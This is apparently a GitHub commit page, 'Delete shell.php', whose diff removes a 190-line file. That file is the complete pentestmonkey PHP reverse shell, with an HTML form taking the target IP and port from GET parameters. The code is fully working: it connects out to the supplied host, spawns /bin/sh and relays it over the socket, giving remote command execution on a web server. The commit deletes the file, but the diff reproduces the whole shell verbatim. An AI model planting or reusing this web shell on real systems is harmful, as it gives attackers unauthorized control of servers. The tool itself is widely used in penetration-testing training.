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Delete shell.php
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Omar Santos
GitHub
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1 changed files with 0 additions and 190 deletions
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<!DOCTYPE html>
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<html>
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<title>PentestMonkey Reverse Shell</title>
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<body>
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<form method="GET">
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<td>
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<table style="border-spacing: 6px;">
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<tr>
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<td>IP</td>
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<td>
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<input style="width: 200px;" name="ip" placeholder="IP" />
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</td>
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</tr>
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<tr>
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<td>Port</td>
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<td><input style="width: 200px;" name="port" placeholder="Port"/>
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</tr>
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<tr>
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<td>
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<input style="width: 90px;" class="own" type="submit" value="Connect"/>
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</td>
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</tr>
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</table>
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</td>
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</form>
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<?php
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// php-reverse-shell - A Reverse Shell implementation in PHP
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// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
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//
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// This tool may be used for legal purposes only. Users take full responsibility
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// for any actions performed using this tool. The author accepts no liability
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// for damage caused by this tool. If these terms are not acceptable to you, then
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// do not use this tool.
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//
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// In all other respects the GPL version 2 applies:
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//
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// This program is free software; you can redistribute it and/or modify
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// it under the terms of the GNU General Public License version 2 as
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// published by the Free Software Foundation.
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//
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// This program is distributed in the hope that it will be useful,
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// but WITHOUT ANY WARRANTY; without even the implied warranty of
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// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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// GNU General Public License for more details.
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//
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// You should have received a copy of the GNU General Public License along
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// with this program; if not, write to the Free Software Foundation, Inc.,
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// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
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//
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// This tool may be used for legal purposes only. Users take full responsibility
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// for any actions performed using this tool. If these terms are not acceptable to
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// you, then do not use this tool.
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//
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// You are encouraged to send comments, improvements or suggestions to
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// me at pentestmonkey@pentestmonkey.net
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//
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// Description
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// -----------
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// This script will make an outbound TCP connection to a hardcoded IP and port.
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// The recipient will be given a shell running as the current user (apache normally).
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//
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// Limitations
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// -----------
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// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
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// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
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// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
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//
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// Usage
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// -----
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// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
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set_time_limit (0);
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$VERSION = "1.0";
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$ip = $_GET['ip'];
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$port = $_GET['port'];
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$chunk_size = 1400;
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$write_a = null;
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$error_a = null;
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$shell = 'uname -a; w; id; /bin/sh -i';
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$daemon = 0;
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$debug = 0;
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//
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// Daemonise ourself if possible to avoid zombies later
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//
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// pcntl_fork is hardly ever available, but will allow us to daemonise
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// our php process and avoid zombies. Worth a try...
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if (function_exists('pcntl_fork')) {
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// Fork and have the parent process exit
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$pid = pcntl_fork();
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if ($pid == -1) {
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printit("ERROR: Can't fork");
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exit(1);
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}
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if ($pid) {
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exit(0); // Parent exits
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}
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// Make the current process a session leader
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// Will only succeed if we forked
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if (posix_setsid() == -1) {
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printit("Error: Can't setsid()");
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exit(1);
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}
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$daemon = 1;
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}
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// Change to a safe directory
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chdir("/");
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// Remove any umask we inherited
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umask(0);
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//
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// Do the reverse shell...
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//
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// Open reverse connection
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$sock = fsockopen($ip, $port, $errno, $errstr, 30);
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if (!$sock) {
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printit("$errstr ($errno)");
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exit(1);
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}
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// Spawn shell process
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$descriptorspec = array(
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0 => array("pipe", "r"), // stdin is a pipe that the child will read from
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1 => array("pipe", "w"), // stdout is a pipe that the child will write to
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2 => array("pipe", "w") // stderr is a pipe that the child will write to
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);
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$process = proc_open($shell, $descriptorspec, $pipes);
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if (!is_resource($process)) {
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printit("ERROR: Can't spawn shell");
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exit(1);
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}
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// Set everything to non-blocking
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// Reason: Occsionally reads will block, even though stream_select tells us they won't
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stream_set_blocking($pipes[0], 0);
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stream_set_blocking($pipes[1], 0);
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stream_set_blocking($pipes[2], 0);
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stream_set_blocking($sock, 0);
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printit("Successfully opened reverse shell to $ip:$port");
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while (1) {
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// Check for end of TCP connection
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if (feof($sock)) {
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printit("ERROR: Shell connection terminated");
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break;
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}
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// Check for end of STDOUT
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if (feof($pipes[1])) {
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printit("ERROR: Shell process terminated");
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break;
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}
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// Wait until a command is end down $sock, or some
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// command output is available on STDOUT or STDERR
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$read_a = array($sock, $pipes[1], $pipes[2]);
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$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
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// If we can read from the TCP socket, send
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// data to process's STDIN
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if (in_array($sock, $read_a)) {
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if ($debug) printit("SOCK READ");
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$input = fread($sock, $chunk_size);
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if ($debug) printit("SOCK: $input");
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fwrite($pipes[0], $input);
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}
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// If we can read from the process's STDOUT
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// send data down tcp connection
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if (in_array($pipes[1], $read_a)) {
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if ($debug) printit("STDOUT READ");
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$input = fread($pipes[1], $chunk_size);
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if ($debug) printit("STDOUT: $input");
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fwrite($sock, $input);
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}
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// If we can read from the process's STDERR
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// send data down tcp connection
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if (in_array($pipes[2], $read_a)) {
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if ($debug) printit("STDERR READ");
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$input = fread($pipes[2], $chunk_size);
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if ($debug) printit("STDERR: $input");
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fwrite($sock, $input);
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}
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}
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fclose($sock);
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fclose($pipes[0]);
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fclose($pipes[1]);
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fclose($pipes[2]);
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proc_close($process);
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// Like print, but does nothing if we've daemonised ourself
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// (I can't figure out how to redirect STDOUT like a proper daemon)
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function printit ($string) {
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if (!$daemon) {
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print "$string\n";
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}
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}
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?>
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